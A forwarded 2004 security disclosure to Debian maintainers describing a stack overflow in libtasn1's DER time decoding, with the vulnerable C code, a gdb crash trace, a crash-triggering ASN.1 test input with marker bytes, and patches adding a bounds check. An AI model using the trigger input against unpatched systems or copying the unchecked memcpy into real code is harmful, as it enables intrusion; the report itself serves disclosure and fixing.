Hi auditors,
this is the first in a couple of old vulnerability reports. It only
affected the testing and unstable versions and has since been fixed.
Cheers,
Max
----- Forwarded message from Max Vozeler <max@xxxxxxxxxxxxx> -----
From: Max Vozeler <max@xxxxxxxxxxxxx>
To: Ivo Timmermans <ivo@xxxxxxxxxx>
Cc: team@xxxxxxxxxxxxxxxxxxx
Subject: libtasn1: vulnerability in DER parsing functions
Date: Thu, 6 May 2004 00:37:27 +0200
User-Agent: Mutt/1.5.6i
Hi Ivo and Security Team,
libtasn1 misses a bounds check in the DER decoding function for DER
TYPE_TIME elements, passing a potentially too large size to memcpy()
which can lead to a stack overflow. I looked at versions 0.1.2-1 and
0.2.7-1 of libtasn1-0 and libtasn1-2 respectively from unstable and
found both versions affected.
The vulnerability is exposed through the asn1_der_decoding() API
function and also indirectly through asn1_expand_any_defined_by() and
asn1_expand_octet_string(). Programs that call these functions on
untrusted DER structures may be affected by this bug.
libtasn1-0.2.7/lib/decoding.c:
126 void
127 _asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char
*str)
128 {
129 int len_len,str_len;
130
131 if(str==NULL) return;
132 str_len=_asn1_get_length_der(der,&len_len);
133 memcpy(str,der+len_len,str_len);
134 str[str_len]=0;
135 *der_len=str_len+len_len;
136 }
137
There is no check whether the length returned by _asn1_get_length_der()
and passed to memcpy() is within bounds of the memory pointed to by str,
which is only temp[128] in the case below. The actual size of data that
der points to and thats returned by _asn1_get_length_der() can be much
larger.
506 asn1_retCode
507 asn1_der_decoding(ASN1_TYPE *element,const void *ider,int len,
508 char *errorDescription)
509 {
510 node_asn *node,*p,*p2,*p3;
511 char temp[128];
..
688 case TYPE_TIME:
689 _asn1_get_time_der(der+counter,&len2,temp);
I created a simple test case for this bug, you can try to reproduce it
using the tool asn1Decoding. It calls asn1_der_decode() on the supplied
structure after some basic validation.
$ asn1Coding trigger.asn trigger.asg
$ asn1Decoding trigger.asn trigger.out Test.Sequence1
Parse: done.
Segmentation fault
$ gdb asn1Decoding
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r trigger.asn trigger.out Test.Sequence1
Starting program: /usr/bin/asn1Decoding trigger.asn trigger.out Test.Sequence1
Parse: done.
Program received signal SIGSEGV, Segmentation fault.
0x4002d9ce in asn1_der_decoding (element=0x42424242, ider=0x45454545,
len=774778414,
errorDescription=0x2e2e2e2e <Address 0x2e2e2e2e out of bounds>)
at decoding.c:884
884 _asn1_delete_not_used(*element);
(gdb) bt
#0 0x4002d9ce in asn1_der_decoding (element=0x42424242, ider=0x45454545,
len=774778414,
errorDescription=0x2e2e2e2e <Address 0x2e2e2e2e out of bounds>)
at decoding.c:884
#1 0x2e2e2e2e in ?? ()
#2 0x42424242 in ?? ()
#3 0x45454545 in ?? ()
#4 0x2e2e2e2e in ?? ()
#5 0x2e2e2e2e in ?? ()
#6 0x2e2e2e2e in ?? ()
#7 0x2e2e2e2e in ?? ()
#8 0x2e2e2e2e in ?? ()
#9 0x2e2e2e2e in ?? ()
#10 0x2e2e2e2e in ?? ()
#11 0x2e2e2e2e in ?? ()
#12 0x2e2e2e2e in ?? ()
#13 0x2e2e2e2e in ?? ()
#14 0x2e2e2e2e in ?? ()
#15 0x2e2e2e2e in ?? ()
#16 0x2e2e2e2e in ?? ()
#17 0x2e2e2e2e in ?? ()
#18 0x2e2e2e2e in ?? ()
#19 0x2e2e2e2e in ?? ()
#20 0x2e2e2e2e in ?? ()
#21 0x2e2e2e2e in ?? ()
#22 0x2e2e2e2e in ?? ()
#23 0x2e2e2e2e in ?? ()
#24 0x2e2e2e2e in ?? ()
#25 0x2e2e2e2e in ?? ()
#26 0x2e2e2e2e in ?? ()
#27 0x2e2e2e2e in ?? ()
#28 0x2e2e2e2e in ?? ()
#29 0x2e2e2e2e in ?? ()
#30 0x2e2e2e2e in ?? ()
#31 0x2e2e2e2e in ?? ()
#32 0x2e2e2e2e in ?? ()
#33 0x2e2e2e2e in ?? ()
#34 0x2e2e2e2e in ?? ()
#35 0x2e2e2e2e in ?? ()
#36 0x2e2e2e2e in ?? ()
#37 0x2e2e2e2e in ?? ()
#38 0x2e2e2e2e in ?? ()
#39 0x2e2e2e2e in ?? ()
#40 0x2e2e2e2e in ?? ()
---Type <return> to continue, or q <return> to quit---q
Quit
Its probably possible to get past the invalid dereference by making
element point to a valid struct node_asn with values that make it
through _asn1_delete_not_used(). An attacker could seize control of the
execution flow using the overwritten saved instruction pointer this
way.
I'm not sure about the fix. It would probably be good to have the
caller specify the allowed sized of the output string the way some
other similar functions in decoding.c do. This should be OK since
_asn1_get_time_der() is not an API function, but I haven't verified
that the attached patches don't break anything beyond calling
asn1Decoding a few times.
Cheers,
Max
--
308E81E7B97963BCA0E6ED889D5BD511B7CDA2DC
--- libtasn1-0.1.2/lib/decoding.c.orig 2002-10-03 22:10:39.000000000 +0200
+++ libtasn1-0.1.2/lib/decoding.c 2004-05-04 19:51:11.000000000 +0200
@@ -118,12 +118,13 @@
void
-_asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char *str)
+_asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char
*str,int str_size)
{
int len_len,str_len;
if(str==NULL) return;
str_len=_asn1_get_length_der(der,&len_len);
+ if (str_len < 0 || str_size < str_len) return;
memcpy(str,der+len_len,str_len);
str[str_len]=0;
*der_len=str_len+len_len;
@@ -527,7 +528,7 @@
move=RIGHT;
break;
case TYPE_TIME:
- _asn1_get_time_der(der+counter,&len2,temp);
+ _asn1_get_time_der(der+counter,&len2,temp,sizeof(temp)-1);
_asn1_set_value(p,temp,strlen(temp)+1);
counter+=len2;
move=RIGHT;
@@ -870,7 +871,7 @@
break;
case TYPE_TIME:
if(state==FOUND){
- _asn1_get_time_der(der+counter,&len2,temp);
+ _asn1_get_time_der(der+counter,&len2,temp,sizeof(temp)-1);
_asn1_set_value(p,temp,strlen(temp)+1);
if(p==nodeFound) state=EXIT;
--- libtasn1-0.2.7/lib/decoding.c.orig 2004-05-04 20:00:10.000000000 +0200
+++ libtasn1-0.2.7/lib/decoding.c 2004-05-04 20:02:03.000000000 +0200
@@ -124,12 +124,13 @@
void
-_asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char *str)
+_asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char
*str,int str_size)
{
int len_len,str_len;
if(str==NULL) return;
str_len=_asn1_get_length_der(der,&len_len);
+ if (str_len < 0 || str_size < str_len) return;
memcpy(str,der+len_len,str_len);
str[str_len]=0;
*der_len=str_len+len_len;
@@ -686,7 +687,7 @@
move=RIGHT;
break;
case TYPE_TIME:
- _asn1_get_time_der(der+counter,&len2,temp);
+ _asn1_get_time_der(der+counter,&len2,temp,sizeof(temp)-1);
_asn1_set_value(p,temp,strlen(temp)+1);
counter+=len2;
move=RIGHT;
@@ -1158,7 +1159,7 @@
break;
case TYPE_TIME:
if(state==FOUND){
- _asn1_get_time_der(der+counter,&len2,temp);
+ _asn1_get_time_der(der+counter,&len2,temp,sizeof(temp)-1);
_asn1_set_value(p,temp,strlen(temp)+1);
if(p==nodeFound) state=EXIT;
Test { }
DEFINITIONS IMPLICIT TAGS ::=
BEGIN
Sequence1 ::= SEQUENCE {
buf GeneralizedTime
}
END
Exploit Test.Sequence1
buf
....................................................................................................................................CCCC........................BBBBEEEE........................................................................................................................................................................................................................................................................................................................................................
0?? ....................................................................................................................................CCCC........................BBBBEEEE........................................................................................................................................................................................................................................................................................................................................................
----- End forwarded message -----
--
308E81E7B97963BCA0E6ED889D5BD511B7CDA2DC
|
